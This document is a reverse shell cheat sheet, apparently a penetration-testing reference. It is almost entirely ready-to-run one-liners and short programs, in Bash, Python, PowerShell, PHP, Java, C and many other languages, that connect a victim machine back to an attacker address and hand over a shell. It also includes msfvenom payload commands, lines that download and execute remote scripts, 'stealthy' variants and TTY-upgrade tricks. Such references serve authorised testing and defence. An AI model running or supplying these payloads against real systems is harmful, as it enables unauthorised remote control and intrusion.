Reverse Shell Cheat Sheet

Reverse Shell

Bash TCP

  bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

  0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

Bash UDP

  Victim:
  sh -i >& /dev/udp/10.0.0.1/4242 0>&1

  Listener:
  nc -u -lvp 4242

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Socat

  user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
  user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

  user@victim$ wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:4242

The static socat binary can be found at https://github.com/andrew-d/static-binaries

Perl

  perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


  NOTE: Windows only
  perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

Linux only

IPv4

  export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

IPv4

  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

IPv6

  python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Windows only

  C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

PHP

  php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
  php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
  php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
  php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
  php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
  php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

  php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Ruby

  ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

  ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  NOTE: Windows only
  ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Golang

  echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Netcat Traditional

  nc -e /bin/sh 10.0.0.1 4242
  nc -e /bin/bash 10.0.0.1 4242
  nc -c bash 10.0.0.1 4242

Netcat OpenBsd

  rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Ncat

  ncat 10.0.0.1 4242 -e /bin/bash
  ncat --udp 10.0.0.1 4242 -e /bin/bash

OpenSSL

Attacker:

  user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
  or
  user@attack$ ncat --ssl -vv -l -p 4242

  user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s

TLS-PSK (does not rely on PKI or self-signed certificates)

  # generate 384-bit PSK
  # use the generated string as a value for the two PSK variables from below
  openssl rand -hex 48
  # server (attacker)
  export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
  # client (victim)
  export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE

Powershell

  powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

  powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

  powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Awk

  awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Java

  r = Runtime.getRuntime()
  p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  p.waitFor()

Java Alternative 1

  String host="127.0.0.1";
  int port=4444;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Java Alternative 2

NOTE: This is more stealthy

  Thread thread = new Thread(){
      public void run(){
          // Reverse shell here
      }
  }
  thread.start();

War

  msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
  strings reverse.war | grep jsp # in order to get the name of the file

Lua

Linux only

  lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

  lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

  (function(){
      var net = require("net"),
          cp = require("child_process"),
          sh = cp.spawn("/bin/sh", []);
      var client = new net.Socket();
      client.connect(4242, "10.0.0.1", function(){
          client.pipe(sh.stdin);
          sh.stdout.pipe(client);
          sh.stderr.pipe(client);
      });
      return /a/; // Prevents the Node.js application form crashing
  })();


  or

  require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')

  or

  -var x = global.process.mainModule.require
  -x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')

  or

  https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

Groovy

:PROPERTIES:
:CUSTOM_ID: groovy
:END:

by fohoff NOTE: Java reverse shell also work for Groovy

  String host="10.0.0.1";
  int port=4242;
  String cmd="cmd.exe";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Groovy Alternative 1

NOTE: This is more stealthy

  Thread.start {
      // Reverse shell here
  }

C

Compile with gcc /tmp/shell.c --output csh && csh

  #include <stdio.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>

  int main(void){
      int port = 4242;
      struct sockaddr_in revsockaddr;

      int sockt = socket(AF_INET, SOCK_STREAM, 0);
      revsockaddr.sin_family = AF_INET;
      revsockaddr.sin_port = htons(port);
      revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");

      connect(sockt, (struct sockaddr *) &revsockaddr,
      sizeof(revsockaddr));
      dup2(sockt, 0);
      dup2(sockt, 1);
      dup2(sockt, 2);

      char * const argv[] = {"/bin/sh", NULL};
      execve("/bin/sh", argv, NULL);

      return 0;
  }

Meterpreter Shell

Windows Staged reverse TCP

  msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP

  msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP

  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP

  msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf

Other platforms

  $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
  $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
  $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
  $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
  $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
  $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
  $ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
  $ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
  $ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
  $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

  rlwrap nc 10.0.0.1 4242

  rlwrap -r -f . nc 10.0.0.1 4242
  -f . will make rlwrap use the current history file as a completion word list.
  -r Put all words seen on in- and output on the completion list.

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

Warning OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

  ctrl+z
  echo $TERM && tput lines && tput cols

  # for bash
  stty raw -echo
  fg

  # for zsh
  stty raw -echo; fg

  reset
  export SHELL=bash
  export TERM=xterm-256color
  stty rows <num> columns <cols>

or use =socat= binary to get a fully tty reverse shell

  socat file:`tty`,raw,echo=0 tcp-listen:12345

Spawn a TTY shell from an interpreter

  /bin/sh -i
  python3 -c 'import pty; pty.spawn("/bin/sh")'
  python3 -c "__import__('pty').spawn('/bin/bash')"
  python3 -c "__import__('subprocess').call(['/bin/bash'])"
  perl -e 'exec "/bin/sh";'
  perl: exec "/bin/sh";
  perl -e 'print `/bin/bash`'
  ruby: exec "/bin/sh"
  lua: os.execute('/bin/sh')

• vi: :!bash
• vi: :set shell=/bin/bash:shell
• nmap: !sh
• mysql: ! bash

Alternative TTY method

  www-data@debian:/dev/shm$ su - user
  su: must be run from a terminal

  www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
  www-data@debian:/dev/shm$ su - user
  Password: P4ssW0rD

  user@debian:~$

Fully interactive reverse shell on Windows

:PROPERTIES: :CUSTOM_ID: fully-interactive-reverse-shell-on-windows :END:

The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.

ConPtyShell uses the function CreatePseudoConsole().

This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).

Server Side:

  stty raw -echo; (stty size; cat) | nc -lvnp 3001

Client Side:

  IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001

Offline version of the ps1 available at --> Invoke-ConPtyShell.ps1

References

• Reverse Bash Shell One Liner
• Pentest Monkey - Cheat Shee Reverse Shell
• Spawning a TTY Shell
• Obtaining a fully interactive shell